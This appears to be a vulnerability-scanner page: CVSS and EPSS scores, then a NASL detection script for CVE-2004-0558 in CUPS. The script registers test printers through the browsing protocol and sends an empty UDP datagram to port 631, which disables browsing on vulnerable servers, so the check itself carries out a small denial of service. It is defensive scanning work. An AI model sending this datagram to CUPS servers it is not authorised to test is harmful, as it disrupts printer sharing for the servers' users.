CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
AI Score
Confidence
Low
EPSS
Percentile
91.8%
The target is running a CUPS server that supports browsing of network
printers and that is vulnerable to a limited type of denial of service attack. Specifically, the browsing
feature can be disabled by sending an empty UDP datagram to the CUPS server.
# SPDX-FileCopyrightText: 2004 George A. Theall
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:apple:cups";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.15900");
script_version("2023-08-15T05:05:29+0000");
script_tag(name:"last_modification", value:"2023-08-15 05:05:29 +0000 (Tue, 15 Aug 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_cve_id("CVE-2004-0558");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
script_name("CUPS Empty UDP Datagram DoS Vulnerability");
script_category(ACT_DENIAL);
script_copyright("Copyright (C) 2004 George A. Theall");
script_family("Denial of Service");
script_dependencies("gb_cups_http_detect.nasl");
script_require_ports("Services/www", 631);
script_mandatory_keys("cups/http/detected");
script_require_udp_ports(631);
script_tag(name:"summary", value:"The target is running a CUPS server that supports browsing of network
printers and that is vulnerable to a limited type of denial of service attack. Specifically, the browsing
feature can be disabled by sending an empty UDP datagram to the CUPS server.");
script_tag(name:"solution", value:"Update to CUPS 1.1.21rc2 or later.");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/11183");
script_xref(name:"OSVDB", value:"9995");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");
# This function tries to add a printer using the browsing feature.
#
# Args:
# o port, CUPS port number (note: both tcp and udp port # are assumed equal)
# o name, a name for the printer
# o desc, a description of the printer.
#
# Return:
# 1 if successful, 0 otherwise.
function add_printer( port, name, desc ) {
local_var packet, req, res, soc, url, port, name, desc;
# CUPS Browsing Protocol is detailed at <http://www.cups.org/idd.html#4_2>.
packet = string(
"6 ", # Type (remote printer w/o colour)
"3 ", # State (idle)
"ipp://example.com:", port, "/printers/", name, " ", # URI
'"n/a" ', # Location
'"', desc, '" ', # Information
'"n/a"' # Make and model
);
soc = open_sock_udp( port );
# nb: open_sock_udp is unlikely to fail - after all, this is udp.
if( ! soc )
return FALSE;
send( socket:soc, data:string( packet, "\n" ) );
close( soc );
url = string( "/printers/", name );
req = http_get( item:url, port:port );
res = http_keepalive_send_recv( port:port, data:req );
if(!res)
return FALSE; # can't connect
if( egrep( string:res, pattern:string( "Description: ", desc ) ) )
return TRUE;
else
return FALSE;
}
if( ! port = get_app_port( cpe:CPE ) )
exit( 0 );
if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
exit( 0 );
vtstrings = get_vt_strings();
host = http_host_name( port:port );
# NB: since ICMP unreachable are easily dropped by firewalls, we can't
# simply probe the UDP port: doing so would risk false positives.
# So, we'll try adding a printer using the browsing protocol and
# check whether it was indeed added.
rc = add_printer( port:port, name:vtstrings["lowercase"] + "_test1", desc:vtstrings["default"] + " Test #1" );
if( rc ) {
soc = open_sock_udp( port );
# nb: open_sock_udp is unlikely to fail - after all, this is udp.
if( ! soc )
exit( 0 );
send( socket:soc, data:"" );
close( soc );
# NB: if browsing is disabled, cups error log will have lines like:
# Oct 6 16:28:18 salt cupsd[26671]: Browse recv failed - No such file or directory.
# Oct 6 16:28:18 salt cupsd[26671]: Browsing turned off.
rc = add_printer( port:port, name:vtstrings["lowercase"] + "_test2", desc:vtstrings["default"] + " Test #2" );
if( ! rc ) {
security_message( port:port, proto:"udp" );
exit ( 0 );
}
}
exit( 99 );